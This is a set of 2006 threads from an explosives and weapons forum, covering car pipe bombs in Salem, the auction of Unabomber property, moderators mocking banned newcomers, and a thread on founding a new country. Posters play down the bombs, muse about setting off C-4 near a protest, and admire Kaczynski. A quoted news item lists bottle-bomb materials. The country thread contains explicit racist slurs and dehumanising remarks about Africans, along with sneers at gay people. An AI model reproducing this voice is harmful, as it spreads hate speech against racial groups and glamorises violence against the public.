ATF laboratory analysis of bomb remnants provided useful information about the ingredients, officials said. They declined to divulge the forensic results, citing investigative
reasons.
"That's not something we're going to want to release," Kohlmeyer said. "We got the analysis, and we know what products were used in the devices. That's all information that
is going to be useful to us."
Pipe bombs typically are constructed with iron or plastic pipe, filled with explosives and capped at both ends. If detonated, experts said, they can explode like a hand grenade,
sending metal flying in all directions.
Nationally, pipe-bomb incidents make up about 30 percent of the bombing incidents investigated by the ATF. In 2003, 386 bombing incidents were reported nationwide,
resulting in seven deaths, 55 injuries and $5.4 million in property damage, ATF statistics show.
Federal officials said the Salem case was rare in that multiple bombs were found on the same day at different locations in the same community.
Salem-area residents still should be concerned about the possible presence of a car bomber, officials said. But there's not much people can do except alert officials if they spot
loose wires or suspicious pipes on their vehicles.
"I would tell people they still need to be cautious," Kohlmeyer said. "Not terrified, but they should still be paying attention."
A hot line established for the case remains active. Fresh tips could give investigators the break they need, Marshall said.
"A lot of times, a person who knows something doesn't realize that it might be important, that it might be that piece of the puzzle that will help us solve it," she said.
In this puzzle, few pieces have been made public:
# Four bombs were found Aug. 10, two still wired to the undercarriages of sport utility vehicles. The other two bombs were found on streets but probably had been attached to
vehicles and fell off.
# All four bombs were capable of killing people and were made by the same person or people.
# The only known link among the targeted victims is that three vehicles came from South Salem. A fourth potential victim remains unknown, and that person might not have
known that a bomb fell off his or her vehicle.
Unanswered questions abound. Chief among them: Why? Was the motive anger, jealousy, revenge or something else? Why certain vehicles were targeted is another unknown.
"We still don't know why these folks were selected," Kohlmeyer said.
The identities of the three known victims have not been made public. Kohlmeyer said authorities are withholding the names, partly because the investigation continues and
partly because the victims don't want to be identified.
The story goes to great lengths to call this a pipe bomb; it even goes so far as to describe exactly what a pipe bomb is, and how it threatens lives and children. How soon we
forget this was a tennis ball bomb, not a pipe bomb. Essentially it was a big firecracker! Could it have killed someone? A sharpened stick could kill every living man, woman,
and child on the earth. At issue here is whether a tennis ball filled with what can only be a homemade explosive (if it is even an explosive, fedgov will not say) that failed to go
off on four separate occasions would harm anyone. My guess is you would get a big scare. It is just as likely, being the driver of a big company SUV, that you would suspect
you ran over something and forget about it.

They say one of the devices sent debris 50 feet into the air when it was neutralized.
That wouldn't be because of the brick of C-4 they layed down next to the tennis-ball-pipe bomb to render it safe, now would it? :rolleyes:
Lewis September 21st, 2006, 09:50 PM

Reading that article, makes me wonder what the media would do if a REAL bomb were to go off somewhere public.
They launch investigations when they find (undetonated) tennis ball bombs like the ones that I played with as a small child. I can't imagine what a field day they would have if
someone detonated 10 pounds of C-4 underneath a large above ground gas tank next to a protest or something.
I often wonder how much of a fuss I could make if I really wanted to. Probably wouldn't be hard at all to bring a LOT of government force to a scene quickly.
jellywerker September 21st, 2006, 11:10 PM

It wouldn't be hard at all, simply wave a pointy stick in an area where children abound (preferably younger children) and scream like you'll kill them, you'll probably get the
whole local force, swat, and if you are lucky, a chopper.
If a person wanted to cause fear/fuss, it is easy. My school has been shut down, along with the arrival of all local emergency services due to a kid overhearing another chat
about setting off a few firecrackers on the campus. Snitch...
People are scared too easily, and not questioning enough.
Syke September 21st, 2006, 11:36 PM

The Feds are probably worried that the tennis balls will rupture the gas tanks. I think thats the only way anyone would be killed by these things.
megalomania September 23rd, 2006, 02:22 PM

There is government attention and then there is government ATTENTION.
In the former situation the investigation of the undetonated tennis balls has been pawned of to some lowly civil servant type with no aspirations for career advancement,
probably a rookie to this situation as well. He was chosen simply because he was expendable; he wont be missed no matter what he does or does not do right or wrong. Is it
any wonder then that there are no leads of any kind, no motive divined, no suspects, no cause, no effect, nothing?
In the latter type of ATTENTION where a brick of C4 would be detonated, successfully, killing four important government figures in a simultaneous strike the best and brightest
of field agents would be immediately dispatched from anywhere in the country or world post haste. These individuals would be acknowledged experts, highly trained, highly
skilled, with considerable experience, and unlimited resources provided with the full faith and credit of the US government.
You must understand that in any organization as large as the government you have a vast swarm of worker drones that are just in it for the job security and benefit package,
but occasionally you get a few people who actually know what the hell they are doing. Try as they might with racial quotas, nepotism, and bribery, our culture is still a
meritocracy at heart, and the qualified sometimes get advanced through hard work.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Judge orders online sale of Unabomber goods
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Mon Aug 14, 2006 8:59am ET
SAN FRANCISCO (Reuters) - "Unabomber" Theodore Kaczynski's journal, as well as axes, typewriters and books seized from his Montana cabin will be sold in an Internet
auction to help pay restitution to his victims, a U.S. federal judge has ordered.
Judge Garland Burrell of the U.S. District Court in Sacramento issued the order on Thursday, directing the U.S. Marshals Service to arrange to sell the mail bomber's property
through an online auction.
Proceeds from the sale would go toward a $15 million restitution order to pay victims and their families. The auctioneer would get no more than 10 percent of the proceeds to
cover its costs.
The date and company that will handle the auction will be determined later.
Among the items on auction will be thousands of pages of writings by Kaczynski, a former math professor who withdrew from society and developed radical anti-technology
beliefs. The San Francisco Chronicle said Kaczynski's journal was some 22,000 pages long and detailed his anti-social feelings.
Other personal items, which were seized in a 1996 raid of Kaczynski's cabin, on the block will be hand tools, shovels, saw blades, knives, bows and arrows, axes, clothing,
typewriters and a briefcase containing his degrees from the University of Michigan.
Burrell also ordered some 200 books -- with titles ranging from "Stalking the Wild Asparagus" to "Axiomatization of the Theory of Relativity" -- to be sold.
The judge ruled that bomb-making materials found in Kaczynski's cabin not be part of the auction. Burrell also said weapons and bomb-making material would not be returned
to Kaczynski as he had requested.
Kaczynski, 64, killed three people and injured more than 20 with homemade bombs sent through the mail from 1978 to 1995. He also threatened to blow up airplanes.
Federal agents seized Kaczynski's property in a raid of his cabin in 1996. His arrest followed a tip by his brother, who recognized Kaczynski's beliefs in his manifesto attacking
modern life published by The New York Times and The Washington Post in 1995.
Kaczynski struck a plea bargain in 1998 that sent him to prison for life at the super-maximum-security federal prison in Florence, Colorado, known as the "Alcatraz of the
Rockies."

He requested his bomb making materials back. HA! Well, you cant blame the man for trying.
Who wants to do a group bid for his degrees? Now that would make a nice conversation piece on my wall.
Cobalt.45 August 18th, 2006, 02:16 PM

Say what you will about the sick fuck, but he did have the courage of his convictions, even if overly passive-aggressive.
What gets me is that he was done in by his choat- quaffing snitch of a brother.
I would enjoy examining one of his devices. Obviously, the JBT's would never allow one of them to be auctioned. What about the possibility of accessing anything through the
FOIA?
In any event, he's another example of how blurred the line between genius and lunacy can become.

Who wants to do a group bid for his degrees?
I would chuck in a bit of money going towards it. How much do you think the items would sell for? Is it worth it?

It's an auction, so who can say. I am willing to bet that someone, somewhere with way to much money to burn will pay a lot for his stuff. He has a $15 million bill to pay off.
How many hours working in the prison kitchen would it take to pay that off anyway?

I wonder if they would sell the paper cartridges, without the dynamite? That would make an interesting display next to the clock over your fireplace. Add a couple of wires
between them ...
The problem is when the porcine types smash down the door, errr, pay a visit, they may get nervous and decide to 'blow in place' before asking questions.
nbk2000 August 24th, 2006, 04:06 AM

Ted didnt' use dynamite, he 'rolled his own'. :)
His notebooks would be the shit to have, since he was quite the experimenter and researcher.
Supposedly, he had found a way to increase lethality of his explosives by several times, for the same weight. Sounds like thermobaric or multi-point initiation to me.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Where do I start in this...thing of mine?
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royalman987 August 18th, 2006, 01:58 PM

So I'm now activated, and I am ready to take on the world and its dogs.
Anyway, I need help on several topics.
-I've been "awake" for a while, but I don't know where to start.
I have no knowledge of weapons or explosives, no knowledge of false identification...all i know about is forensics and custom computers.
Can anyone point me in the right direction?
(This is truely a water cooler post...)
knowledgehungry August 18th, 2006, 06:09 PM

I believe This (http://www.roguesci.org/theforum/water-cooler/2774-newbies-forums-unwritten-rules-written-down.html)is what you are looking for.
nbk2000 August 18th, 2006, 09:41 PM

I let one through to observe its movements in the lab.
Let's see if intense predatory pressure accelerates its evolution, or if it proves to be a dead-end. ;)
Chaosmark August 19th, 2006, 12:08 AM

Depends on it's evolutionary path. I've found that most often, the prey tends to turn and fight, which leads to premature extinction. Think this one will be smarter?
Random thought: Do you include death as part of the evolutionary chain? If so, your particular predatory pressure might accelerate his evolution a tad bit too far. :p
royalman987 August 19th, 2006, 01:27 AM

Yes, I read all of the rules BEFORE i signed up. ;)
But I guess I'll figure it out eventually.
festergrump August 19th, 2006, 07:59 AM

...An interesting study, Dr. NBK.
Might I respectfully suggest exposing the subject to about 490 pgs of COPAE to study the effect of renewed vigor just before end of the life cycle appears imminent?
Moreso, I'd personally like to study the varied affects between UTFSE and COPAE in such a subject as this to see if such exposure to the latter has a more promising effect in
long-term general health than forcefed doses of UTFSE. In fact, I theorize that exposure to COPAE at such an early stage of the life cycle of a specimen will actually boost
natural production of UTFSE in most cases...
Only time will tell, but this should be most interesting, indeed...
Cobalt.45 August 19th, 2006, 01:52 PM

Extreme environmental pressure may cause grub to pupate prematurely. Long odds of maturing to adulthood, but if it survives, will a butterfly or a blowfly emerge?
nbk2000 August 19th, 2006, 04:35 PM

Unfortunately, the test subject has already been devoured by the hungry Xenomorphic predator.
In a PM, the test subject made squeaks that drew the predators attention to it. Never wise to make prey sounds in the presence of a predator.
To the soul of the prey, the Xeno would like to suggest this:
http://www.righteouswarriortemple.org/New%20Folder/hman.htm
Couldn't even survive an online forum for more than 2 posts. What hope did it have of becoming a Hitman? :rolleyes:
And that's not even including the i/I failure. :D
Nice to see that, even when given a chance to survive, k3lz self-select against survival. :p

I was going to say, how did a post like that slip through? I thought for an instant I was back on alt.engr.explosives in 1997.
It is far more entertaining to let one in every now and again. You should select a new subject :)
What was that story where the men make a wager to make a sophisticated man (or was it woman) out of a commoner? And I don't mean the movie Trading Places.
Bert August 21st, 2006, 06:16 PM

Pygmalion. "The rain in Spain falls mainly in the plain".

A fool can appear wise by keeping his mouth shut.
A wise man can appear a fool by opening it.

It may just be me, I think Im a just bit stupid :o, but I havent been able to pick up on what this thread means yet.
I have a vague idea but nothing that explains.
Whats its purpose? What is this guy asking? :confused:

Im filled with confusion, please I need some answers.

The point is that yet another moronic k3wL has falling into the gaping maw of Hot Electron Death at the hands of the predatory Natrilium Born Killius. ;) :D
megalomania September 1st, 2006, 09:20 AM

What this kewl wanted to know, what he wanted handed to him on a silver platter, is basicially everything The Forum has been discussing for the past 7 years!
Some idiots when presented with material to read will opt to ignore such hard work. He is rather like the person who tosses aside the instruction manual when assembling a
complicated item, and then calls customer service to help him complete what he could just as easily have done had he read the manual in the first place.
Understand this, my friends, this type of question is not a rare aberration, oh my no. The staff are constantly screening out such base filth to shield your sensitive eyes from the
tedium of having to disregard such stupidity.
Everyone that posts a post that does not get through always blames me for technical problems. They think The Forum is broken when their first post does not go through
IMMEDIATELY, which does not suit their desires. They wonder why after registering, and failing to bother replying to the verification email, that none of the posts are visable
anymore. They ask me by the dozens every week the same questions over and over that are explained in the rules they never bothered to read when they signed up.
This utter disregard for my time, and complete lack of respect, not to mention egregious display of stupidity, is very taxing on my nerves. People like this are why we have
such harsh rules.
You think the occasional post by a member that gets banned is such a barbaric display of our evil. Oh woas me, nbk is so mean. I didnt do anything wrong. i dew uSe
gremmer. What goes on publicly is just the tip of the iceberg. I swear, maybe there is a valid reason for public schools to censor access to the Internet if it keeps the god
damned kindergartners away from here.
Diabolique September 1st, 2006, 04:01 PM

Would it help if a 'newborn' to the site were told in the very first line he/she gets to read after registering is that the rules are hard because of the nature of the subject matter?
Confusion, inaccuracy and ignorance can cost someone fingers. Far better an electronic death than being vaporized, and drifting off into history.
Bert September 1st, 2006, 04:55 PM

I kind of enjoy seeing the slow and stupid suffer HED. Llike winter up north, a filter that keeps the very stupid from multiplying.
In other news, the local paper had this gem today.

http://www.startribune.com/462/story/647341.html
ALBERT LEA, Minn. Police in Albert Lea are seeking felony charges against two 16-year-old boys arrested for making bottle bombs.
Police say they got a call last night around 10 p.m. from someone who heard a loud blast. They say they found the two boys with bomb-making materials including plastic
bottles, drain cleaner and foil.
Police say they had enough material to make nine more bombs.
I expect that my activities at age 16 would have been good for a sentence to life with no parole if carried out today.
megalomania September 2nd, 2006, 10:59 AM

There was a man who was arrested, tried, and convicted on federal explosives charges for the same thing I believe about a year or two ago. The conviction was overturned in
appeal since those items are not actually explosives. Nobody bothered to check the definition of what an explosive is. A pressurized bottle does not an explosive make...
pearlcrash911 September 2nd, 2006, 11:20 AM

Just this year two kids from my town were caught making "bombs" out of water bottles and dry ice. Early police reports stated that they were likely going to get 7 years in jail.
I'm still wondering what they were charged with, since it can't be explosives charges.

A pressurized bottle does not an explosive make...
Actually, in some states, not only are pressurized bottles considered an explosive or infernal device, but so is any object that ruptures from freezing a liquid contained therein
(the cast-iron ice 'bomb' demo, for instance)
So, while the contents may not be explosive in the way WE consider the definition, if it makes a bang, it is, regardless of the means by which it does so.
And as far as warnings for n00bs... :rolleyes:
No matter how much you tell 'em, at sign-up, in the confrimation e-mail, at the top of every section, at the end of every post I make, a section dedicated to fuckups (BFL),
and an ongoing thread showing the current days prey, they STILL keep coming.
There's a point at which further expenditures of effort to warn them yields diminishing returns.
We've already reached that point.
Diabolique, considering how you yourself managed to almost get banned, you should be thankful for having survived your brush with the Beast, and (hopefully) having learned
from it. :)
Chaosmark September 3rd, 2006, 01:55 PM

Would it help if a 'newborn' to the site were told in the very first line he/she gets to read after registering is that the rules are hard because of the nature of the subject matter?
First rule of programming: the user is an idiot. Second rule of programming: the user never reads anything. Ever.
It doesn't matter what all you try to do, no-one ever truly reads. It seems really stupid to those of us who do, but it's a fact of life. And so we end up banning an infinite
number of morons who can't get it through their heads that they need to read the rules.
Diabolique September 4th, 2006, 01:21 AM

Part of the problem is that this site is so facinating. That was the underlaying cause of my brush with electron death. It is far too easy to get carried away. Being opinionated
doesn't help, either.
Maybe an enforced period of just reading posts, followed by limiting the number of posts during a probation period, if the software permits.
The user interface is always the greatest problem in writing software, Chaosmark. Properly done, the program can catch the vast majority of user errors, and then explain what
it needs. Maybe something similar to a mentoring system would help, clearing a newbie's first few posts before they are posted, and newbie gets to feed nbk's apatite.
However, if the detail of a hundred or more registrations a day is correct, this mentoring would break down.
Bert September 4th, 2006, 12:23 PM
Considering the unforgiving nature of the procedures, materials and devices under discussion here, any change to site procedures or filtering method that is designed to help the
STUPID, INATTENTIVE, dangerously OVER EXUBERANT or merely UNPREPARED continue on in spite of their qualities (or lack of quality!) is not doing them or their neighbors any
service.
SOME PEOPLE SHOULD NOT BE HERE. As currently constituted, they are freely allowed to eliminate themselves. This is a GOOD thing.
But then I have always wanted to give all 17 year old girls hand guns and exclude them from any related murder charges. Perhaps I am just bloody minded.

I explain our rules and policies in oh so many ways before a newb signs up, but I still get hammered with emails every day asking the exact same questions every time. I
make tweaks here and there, and I have some more extreme measures coming, but it takes me a lot of time to implement these measures to insure newbs know what is
what.
Quite frankly this is time I could be using setting up a better torrent system, building the Forum library, organizing the FTP, and adding new information to my website. I waste
this time because I hate to lose potential knowledgeable members, but it seems like all I end up doing is coddling kewls and others with no patience to read anything.
Still, perhaps it is an impossible dream, but maybe, just maybe, if I cram enough of our rules down the newbs throats I can make them understand.
Alas, I fear those who are smart get it without all the rule cramming, and those who are stupid will never get it.
One more thing I should add just to clarify how things work around here: Your opinions (by this I mean newbs in general) do not amount to anything around here. All I admire
and respect is scientific information, facts, and figures. If you stick to this, you will be fine. It is only when people think I created The Forum to be a sounding board for YOUR
opinions that they run afoul of HED, and my eternal ire. The Forum is a venue for MY opinions, my thoughts, and my ideologies, and for those of like minded temperament.
This is not a democratic meeting hall where anything goes. I pay the bills, I do the work, I built this place, The Forum is my home. Like my dad says, my house, my rules.
The political philosophy of The Forum has always been enlightened despotism. I have the power to ban anyone, anytime, for any reason, or no reason at all. This makes me
a despot. I tolerate many things because I want to encourage free and open discussion to a certain extent I already outlined. I do not ban anyone for no reason at all. This is
the enlightened part. I have the power to destroy, my word is law, but I always try to exercise it fairly under established guidelines. The rule of King Arthur is one example of
an enlightened despot. Absolute power wielded with a calm and fair hand.

"Enlightened Despotism" is a synonym for "Aristocracy". :)
Thus, the King has spoken. :D
I've always imagined it more like Pharoh (Yul Brynner) laying down The Law in the Ten Commandments:
So let it be written, so let it be done!
Diabolique September 5th, 2006, 01:00 PM

Mega gave me an idea that may help. Create a software filter that would examine the posts of all but a select few for keywords, such as that four lettered one nbk hates so
much. Any post with a banned word would be forwarded to a monitor, who would examin it, and either allow posting, or forward the individual for feeding the beast.
This would be similar in function to e-mail filters that eliminate spam. It might take some of the workload off you.

Diabolique: Do you remember posting as a true noob, such as I am? If one creates a post in the quick reply or advanced reply page, when you press post, you are taken to a
page wherein you can revise your post, along with a detailed warning and links to the rules. If people don't pay attention to something as large as that, would you trust them
with the information for something dangerous that requires minute attention to every little detail? As Bert said, "SOME PEOPLE SHOULD NOT BE HERE." I wholeheartedly agree,
though it has nothing to do with me wanting to keep knowledge out of people's hands, but rather that they keep their hands to do something useful.
My point: more than enough warning measures are given, if they fail to see to see at least one of them, they are a danger to themselves from lack of attention, and should
find something else to do.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > On the Creation of a Country
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jellywerker August 20th, 2006, 07:09 PM

I hope I am not overstepping my bounds by creating a thread as my first post.
I have read these forums for a little over a year now and think that I might know enough about the structure and government
of them to register and not be turned directly around and banned. I am quite impressed with the views of many here on our
decaying society and the many issues with it, so my question to them is:
Do you think, that in this modern-cum-orwellian culture that it would be possible to create ones own country, using knowledge
gained from research of previous countries? Is it reasonable to believe that with enough like minded people one could create
an economically viable and self-sustaining politically isolated state of educated citizens?
Of course one could not expect to create a utopia, free from sheeple and the corrupt, nor could one expect to be able to get
the masses to educate themselves well without outside help and a willing mind,to help themselves to recognize when
something was intruding on the liberties set down in the lands (extremely explicit with no room for "reinterpretation")
constitution.
I will not go into the details of governemnt or economy till I see the reaction to this question, but I have many thoughts on
said subjects, ranging from an immigration system to how it should handle trade.

It allready exists, it's called amish country. :D
But on a serious note, I don't think a country like this could sustain itself properly. You allways have to have grunts to do
manual and tedious labor. And well educated people don't really want to do this type of labor except for the well educated
ones who were raised in a "you make a mess you clean it up" style of household or something along those lines.
Now If one were to assign said well educated person a different job each month (preferablly one that they were good at or had
previous experience at). I think that might work.
Like I have experience in oil field work, construction, general automotive stuff, and I am currently going to school for mech
engineering. So I would be more than happy to build a house for 1 month and then design an integral part for said house
construction the next.
pearlcrash911 August 21st, 2006, 03:06 AM

It all depends on the type of country you are trying to establish. It could possibly work with a socialist society, because equality
would be more easily attainable when the people are intellectually equal from the beginning.
You could split up labor without too many problems by having all jobs in the country have equal pay, leaving workers more
motivated, therefore increasing production.
With extra production there's room for producing luxuries, and with luxuries comes increased population.
The country would expand, and soon establish itself as a stable country.
That's one route.
The other you could take would be to create a country dependant on a super power like US, GB, etc.
You could leave out manual labor and leave everyone to developing technology for the super power. In return the country
would recieve supplies from the super power. The residents of the country would have the best of both worlds, luxurious
lifestyle and freedom to set your own laws.
jellywerker August 21st, 2006, 02:08 PM

Perhaps well informed might have been a better way to have stated that, not well educated, whilst a basic educational
framework needs to be present in all citizens (and not taught to them like the god-awful U.S. schools system, something more
like ancient Greece) Every country does need manual laborers and such who do not require specialist education in misc. topics.
But that group of people does need to be aware of what is happening in the country.
In a very small state we could just use robots! In all honesty though, a robotic workforce is rather close to becoming a reality,
it is just very expensive. Think of a paper mill or car factory. Almost all of the work is done by robots, with human operators to
watch if anything goes wrong. The reason they are cost efficient in these places is that they work nonstop and are rather
simple compared to what other industries would need.

To Pearl:
One of the main rules I would say in trying to create a country successful in the long run would be to not have any overly
strong ties with any of the present superpowers, to prevent political influence and to hopefully be spared their fate when they
tumble.
knowledgehungry August 21st, 2006, 04:00 PM

How in the world would having all jobs be equal paying make someone more motivated to work hard?
What truly motivates someone to work hard is a) fear of consequences for not working hard and b) desire to better your
position. Neither of which would be present if everyone was paid the same.
Jome skanish August 21st, 2006, 04:49 PM

How about this:
First, get rich.

Second, move a bunch of like-minded people to a uninhabited part of some poor bumba-country in, like, Africa. Most goods
and food will be inexpensive, and all the manual labour can be left to the locals for a relatively small pay. If enough money is
invested and enough know-how present some form of refinement industry could be established, using locally producer raw-
materials.
Legally it would still be Bumban land, but why would the local authorities mess with the private affairs of your isolated village/
town? You'd be supplying hundreds, perhaps thousands of people with work and be one of the few stable sources of tax-
revenue the bumban government has.
You'd be free to do what you want unless it'd be really extreme. Selecting among the most useful 5-10% of the western
population (and of course using your "values" as another criteria :cool: ), the economy could actually develop quite well. No
morons, no sheeple, no religious people, noone against guns and vigilance...
I'd be on. I should have a Ph D (if thats the right word) in Chemistry in four years.
The other alternative, is populating a uinhabited part/colony of some european country. Like moving to south georgia and
becoming britons. Economically, those zones are often tax-havens, and you could live on research, part-time work in other
places and "moving money" in other countries. And of course there would still be the possibility to use cheap labour from the
developing world for the more mundane tasks. From the point of view of a third world farmer living only of his land even 10%
of a western wage is BIG MONEY, and a great way to spend the non-farming season.
Forming a whole new country otherwise would require at least a few billion dollar, perhaps tens of them. We'd have to go to
space to find land unclaimed by others.
Storm on the Horizon August 21st, 2006, 05:42 PM

How about this:
First, get rich.

Second, move a bunch of like-minded people to a uninhabited part of some poor bumba-country in, like, Africa. Most goods
and food will be inexpensive, and all the manual labour can be left to the locals for a relatively small pay. If enough money is
invested and enough know-how present some form of refinement industry could be established, using locally producer raw-
materials.
Legally it would still be Bumban land, but why would the local authorities mess with the private affairs of your isolated village/
town? You'd be supplying hundreds, perhaps thousands of people with work and be one of the few stable sources of tax-
revenue the bumban government has.
You'd be free to do what you want unless it'd be really extreme. Selecting among the most useful 5-10% of the western
population (and of course using your "values" as another criteria :cool: ), the economy could actually develop quite well. No
morons, no sheeple, no religious people, noone against guns and vigilance...
I'd be on. I should have a Ph D (if thats the right word) in Chemistry in four years.
Remember South Africa.... and that area was mostly uninhabited when Whites settled it.
If you were sucessful, it would still be doomed to failure. Every subhuman ape from across the land would swarm to your
country to get their "fair share". You literally would be living right smack dab in the middle of "the planet of the apes".
The local headhunter/"authorities" would most definately mess with you and your affairs. Sure the existing establishment
would be getting some revenue from you.... but that would never be enough. They will always want more. As they (being
African niggers) could never dream of building and developing what you could in a million years.
pearlcrash911 August 21st, 2006, 07:52 PM

Well look at it this way. Why would you work hard for a crap job when you are getting payed less than people who work half as
hard as you.
When I was a teenager I would spin signs for many housing developments. I hated spinning signs, but I worked my hardest
because I felt obliged to the company because of the incredible wages I was being payed.
I did not fear consequences of not working hard because there was no supervision, so if I wanted to I could have just ditched
every day of work.
Also I was never motivated by improving my position, because there really was nowhere to advance to, and raises were given
based on seniority not skill.
In a situation where equality is properly executed, motivation is created by two things: Obligation, and Prestige.
People naturally feel an obligation to the company as I mentioned before. Also I had a friend from Norway who told me that in
the socialist system in place there people don't get lazy because it won't change their pay, they in fact work harder for
prestige.
That's why equality doesn't prevent motivation, but instead creates different kinds of motivation.
Jome skanish August 21st, 2006, 08:33 PM

Remember South Africa.... and that area was mostly uninhabited when Whites settled it.
If you were sucessful, it would still be doomed to failure. Every subhuman ape from across the land would swarm to your
country to get their "fair share". You literally would be living right smack dab in the middle of "the planet of the apes".
The local headhunter/"authorities" would most definately mess with you and your affairs. Sure the existing establishment
would be getting some revenue from you.... but that would never be enough. They will always want more. As they (being
African niggers) could never dream of building and developing what you could in a million years.
You could be right. It would suck to loose years of investments because local fools voted a mugabe (mug-ape) into office.
That leaves the other option. But perhaps it'd be better first to define what kind of people you'd want in the city, and/or who
you dont. I'd use these criterias:
1. Intelligence
2. Mental health (sorry, no EMOs)
3 Atheism (perhaps this should go under 2 :rolleyes: )
4. Relative physical health (keeping oneself fit, not smoking or drinking heavy)
5. Values, such as:
a. family (no fucking soap-opera style-fuckaround-till-37 or gay marriages)
b. group unity (what else?, after all, greater numbers is stronger)
c. freedom (that is, ability to master ones own life. Prosperity in the form of ex. money or property is an extension of this)
d. rationality. With this comes views like: There is no god, and us humans are still in the jungle. Knowledge is power, power is
good. The day technology can make us gods, we shall take the step, and so on.
This could probably be developed quite a bit. If its off-topic, please delete these last sentences, but I would like to ask:
What defines the non-sheeple?
Docca August 22nd, 2006, 07:18 AM

3 Atheism (perhaps this should go under 2 :rolleyes: )
4. Relative physical health (keeping oneself fit, not smoking or drinking heavy)
5. Values, such as:
a. family (no fucking soap-opera style-fuckaround-till-37 or gay marriages)
b. group unity (what else?, after all, greater numbers is stronger)
c. freedom (that is, ability to master ones own life. Prosperity in the form of ex. money or property is an extension of this)
d. rationality. With this comes views like: There is no god, and us humans are still in the jungle. Knowledge is power, power is
good. The day technology can make us gods, we shall take the step, and so on.
What defines the non-sheeple?
Ok, here goes;
a. If you're an atheist, what value system do you go by? (refer to "5.")
b. Does every atheist get to make up their own value system? If not, why not?
c. Ummm, you don't drink, don't smoke, what do you do (with apologies to Adam Ant)?
d. Ummm, you have a problem with 37 year olds "fucking around"?
e. Group unity? I think we'd be better off with "rugged individualists", though the family unit suffers there (probably not a good
thing).
f. So much for "ability to master ones own life". No drinking, no smoking, no fucking around, but I guess it's ok so long as you
get to set off a little AP once in a while.
g. Please let us know when you have all the answers (like the answers to cancer, alzhiemers, etc). Knowledge and power are
great, but I don't think technology is ever going to make you or I a god.
Not a slam, just a few thoughts...
Docca
Jome skanish August 22nd, 2006, 11:07 AM

Ok, here goes;
a. If you're an atheist, what value system do you go by? (refer to "5.")
b. Does every atheist get to make up their own value system? If not, why not?
c. Ummm, you don't drink, don't smoke, what do you do (with apologies to Adam Ant)?
d. Ummm, you have a problem with 37 year olds "fucking around"?

e. Group unity? I think we'd be better off with "rugged individualists", though the family unit suffers there (probably not a good
thing).
f. So much for "ability to master ones own life". No drinking, no smoking, no fucking around, but I guess it's ok so long as you
get to set off a little AP once in a while.
g. Please let us know when you have all the answers (like the answers to cancer, alzhiemers, etc). Knowledge and power are
great, but I don't think technology is ever going to make you or I a god.
Not a slam, just a few thoughts...
Docca
a. A value system based on reason and purpose. Some basic values are more or less omnipresent, the rest, well, you chose
to follow when you chose to follow the group.
With reason and purpose I mean, designed to give the followers the maximum ability to reproduce, prosper and stay un-
fucked with by "circumstances".
If you want to destroy yourself, that fine with me (:D I'd rather insist) but I dont want to pay your health expenses or get
mugged when Im old by your misadapted offspring. Alcohol is a waste of money, time and energy that could be better spent.
Same thing goes for all drugs. A menace to society.
b. You one of those christians beliving everything good in the western civilisation has come from that disgusting religion?
Wake up. If not, see above.
c. There is more to life than drinking and smoking. I study and work out, and one day I'll live in a big house with a fine lady
and our 11 evil lil kids. By far outbreeding the fuckaroundtill37s.
d. Yes. If they are women, they have like 1 year left of fertility, and they should've been married long ago, long before their
skin turned gray and bussum turned too long. If you're a man, It might be slightly easier to get things going, but its still at
least TEN YEARS after graduating from university, and I think one could do better.
e. One can have both. Im not advocating hundreds of brainwashed people screaming the same bs and hailing the leader, Im
advocating more of an "alliance" like relationship between those who share the same values and ideas. And, of course, it's
always nice to know that there will always be someone supporting you. It's easier to mess with one than with a thousand.
f. Well, if those things are what you want out of your life.. Its not a "change society" (political) idea, its something different.
One could say, esoteric instead of exoteric like politics, abrahamitic religions and so on. Nothing would be imposed on anyone,
the majority would live just like before, the difference being this minority not having to live like the majority with their teaching
religion before science in school, equality that does not exist and celebration of weakness and ignorance.
g. No, definately not you, one step at a time. :p
knowledgehungry August 22nd, 2006, 11:41 AM

Well look at it this way. Why would you work hard for a crap job when you are getting payed less than people who work half as
hard as you.
That is exactly my point. Why work hard at a hard job if someone working easy at an easy job is making the same as you.
Being a doctor is much harder than working in a factory, regardless of the physical toll of manual labor.
I agree that obligation to the company should motivate you, but in this age of entitlement you and I are the only people who
are motivated by that. The prevailing opinion is that since the bosses are making more than you, you are getting screwed over
by the company. "The CEO is making 400,000 a year and I'm only making 75,000 as a janitor, thats not fair."
Chris The Great August 22nd, 2006, 10:11 PM

I'd argue about Jome skanish's points, but lack the motivation. It's not like he'll get rich and make his country. I, in the
meantime, will get drunk with my christian girlfriend and then maybe shootup some opiods afterwards. :D
Knowledgehungery, you have a good point, in this day and age people do not seem to feel any obligation to anyone or
anything, and to be fair, the employers are no better. The employees see the employer as nothing more than a temporary
thing and definately not something to work as hard as they can towards, while the employer sees it's employees as disposable
and wouldn't hesitate to fire them all and replace them with cheap Indian labour if it would save money.
Exceptions exist but are very rare.
"The CEO is making 400,000 a year and I'm only making 75,000 as a janitor, thats not fair."
True sheeple thinking of entitlement without earning it.
pearlcrash911 August 23rd, 2006, 01:49 AM

Very true knowledgehungry. The only way to insure equality would be to eliminate heirarchy.
There is a leftist cafe in my area that uses joint ownership to eradicate any forms of heirarchy.
A similar system could be put in place in a new country to guarantee that every has equal rewards as well as equal
responsibilities.
nbk2000 August 23rd, 2006, 02:51 AM

Anywhere where a CEO is making only 5 times what the janitor is making is damn-near Utopian. The norm is for CEO's to
make at least 100x what their lowest paid worker makes, sometimes a 1,000x or more.
Employees may have more loyalty for companies that treat them like valuable contributors, rather than expendable drones. I
have yet to work at a place where I wasn't treated like (and told) that I was easily replaceable by hordes of pimple faced brats
for the same or less money.
Cogs don't care about the machine. :p
Pearlcrash911, what you're suggesting sounds very much like communism. Failure is its own proof. :)
herfnerder August 23rd, 2006, 04:06 AM

It wouldn't.
I would disagree on both counts. For a) there are plenty of people that work at the margins and below and they do fine. You
also need to define "hard." Some of us work 80 hours a week, but we aren't lifting bricks so it may not be "hard." We do what
we do because we like it.
b) is a more interesting scenario. There is the concept of failing up. You reach the highest level you can and can not progress
(because you're bad at that task) so you stay at that level. I would imagine that rule applies to this forum as well as others
(count your fingers).
In any case the best performance occurs when the person doing the work is actually interested in the work. Tough thing to do.
For jellywerker, humans have been working on the politicial question for a long, long time. The best we've come up with so far
is a democratic republic which sucks slightly less than everything else.
pearlcrash911 August 23rd, 2006, 04:17 AM

Communism is just the economic system in place. I think what you are referring to is an Oligarchy that uses Communism. As
we all know Communism is very successful economically (China). What causes all of the suffering is the corrupt Oligarchy in
place.
